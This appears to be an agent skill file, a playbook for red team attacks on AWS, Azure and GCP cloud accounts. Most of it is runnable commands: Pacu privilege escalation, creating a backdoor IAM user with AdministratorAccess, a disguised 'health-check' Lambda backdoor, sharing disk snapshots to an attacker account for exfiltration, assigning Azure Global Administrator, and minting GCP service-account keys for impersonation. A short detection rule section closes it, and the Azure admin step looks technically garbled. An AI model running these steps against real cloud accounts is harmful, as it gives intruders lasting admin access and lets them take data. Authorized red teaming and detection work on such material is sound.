<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: performing-cloud-red-team-operations
description: >-
  Conduct red team operations against AWS, Azure, and GCP environments.
  Covers initial access, privilege escalation, lateral movement, and
  data exfiltration in cloud-native infrastructure.
domain: cybersecurity
subdomain: red-team
tags:
  - cloud
  - aws
  - azure
  - gcp
  - privilege-escalation
  - iam
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1078.004", "T1580", "T1552.005", "T1537"]
  tools: ["pacu", "scoutsuite", "prowler", "az-cli", "gcloud"]
---

# Performing Cloud Red Team Operations

## Overview

Cloud environments present unique attack surfaces: IAM misconfigurations,
overly permissive roles, exposed storage buckets, metadata services, and
serverless function abuse. Red team operations map these weaknesses to
achieve persistence and data exfiltration.

## Prerequisites

- Cloud credentials (access keys, tokens, or compromised identity)
- AWS CLI, Azure CLI, or gcloud SDK
- Pacu (`pip install pacu`)

```bash
pip install pacu scoutsuite prowler
```

## Key Concepts

### Cloud Attack Phases

| Phase | AWS | Azure | GCP |
|-------|-----|-------|-----|
| Recon | S3 enum, IAM enum | Storage enum, AAD enum | GCS enum, IAM enum |
| Initial Access | Leaked keys, SSRF IMDS | App registration abuse | Service account key leak |
| Priv Esc | IAM policy abuse | Role assignment abuse | IAM binding escalation |
| Persistence | Lambda backdoor, IAM user | Automation runbook | Cloud Function backdoor |
| Exfil | S3 copy, snapshot share | Blob download, disk export | GCS transfer |

### IAM Privilege Escalation Paths

| Cloud | Dangerous Permission |
|-------|---------------------|
| AWS | iam:CreatePolicyVersion, iam:AttachUserPolicy, iam:PutRolePolicy |
| AWS | lambda:CreateFunction + iam:PassRole, sts:AssumeRole |
| Azure | Microsoft.Authorization/roleAssignments/write |
| GCP | iam.serviceAccounts.actAs, iam.roles.update |

## Workflow

### Step 1: Enumerate Cloud Identity

```bash
# AWS — whoami
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws iam get-user --query User.UserName --output text)
aws iam list-user-policies --user-name USER

# Azure — whoami
az account show
az ad signed-in-user show
az role assignment list --assignee USER_ID

# GCP — whoami
gcloud auth list
gcloud projects get-iam-policy PROJECT_ID
```

### Step 2: AWS Privilege Escalation with Pacu

```bash
# Initialize Pacu session
pacu
> set_keys --access-key-id AKIA... --secret-key SECRET

# Enumerate all permissions
> run iam__enum_permissions
> run iam__enum_users_roles_policies_groups

# Check for privesc paths
> run iam__privesc_scan

# Exploit: create new policy version with admin
> run iam__privesc_scan --method CreateNewPolicyVersion

# Enumerate resources
> run s3__enum
> run ec2__enum
> run lambda__enum
```

### Step 3: AWS Persistence

```bash
# Create backdoor IAM user
aws iam create-user --user-name backup-svc
aws iam create-access-key --user-name backup-svc
aws iam attach-user-policy --user-name backup-svc \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Lambda backdoor
aws lambda create-function --function-name health-check \
  --runtime python3.11 --handler lambda_function.handler \
  --role arn:aws:iam::ACCOUNT:role/lambda-exec \
  --zip-file fileb://backdoor.zip

# EC2 snapshot sharing (exfil)
aws ec2 create-snapshot --volume-id vol-XXX
aws ec2 modify-snapshot-attribute --snapshot-id snap-XXX \
  --attribute createVolumePermission --operation-type add --user-ids ATTACKER_ACCOUNT
```

### Step 4: Azure Privilege Escalation

```bash
# Enumerate role assignments
az role assignment list --all --query "[?principalName=='user@domain.com']"

# Add Global Admin (if User Access Administrator)
az role assignment create --assignee USER_ID \
  --role "Global Administrator" --scope "/"

# Enumerate storage
az storage account list --query '[].{name:name, kind:kind}'
az storage blob list --account-name ACCOUNT --container-name CONTAINER
```

### Step 5: GCP Privilege Escalation

```bash
# Enumerate service accounts
gcloud iam service-accounts list
gcloud iam service-accounts keys list --iam-account SA@PROJECT.iam.gserviceaccount.com

# Create key for service account (if iam.serviceAccountKeys.create)
gcloud iam service-accounts keys create key.json \
  --iam-account SA@PROJECT.iam.gserviceaccount.com

# Impersonate service account
gcloud auth activate-service-account --key-file=key.json

# Enumerate storage
gsutil ls
gsutil ls gs://BUCKET/
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| ConsoleLogin from unusual IP | CloudTrail | Initial access indicator |
| CreateAccessKey | CloudTrail | Persistence — new access keys |
| CreatePolicyVersion | CloudTrail | IAM privilege escalation |
| ModifySnapshotAttribute | CloudTrail | Data exfiltration via snapshots |

```yaml
title: AWS IAM Privilege Escalation — New Policy Version
id: 07182930-1425-3456-0123-456789012345
status: experimental
logsource:
  product: aws
  service: cloudtrail
detection:
  selection:
    eventName:
      - "CreatePolicyVersion"
      - "AttachUserPolicy"
      - "PutUserPolicy"
      - "CreateUser"
  condition: selection
falsepositives:
  - Terraform/CloudFormation deployments
  - Authorized IAM administration
level: high
tags:
  - attack.t1078.004
  - attack.privilege_escalation
```

## Verification

- [ ] Cloud identity and permissions enumerated
- [ ] Privilege escalation path identified and exploited
- [ ] Persistence mechanism established
- [ ] Data exfiltration demonstrated
- [ ] Detection artifacts documented

## References

- [Pacu](https://github.com/RhinoSecurityLabs/pacu)
- [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
- [MITRE T1078.004](https://attack.mitre.org/techniques/T1078/004/)
- [Rhino Security AWS Escalation](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
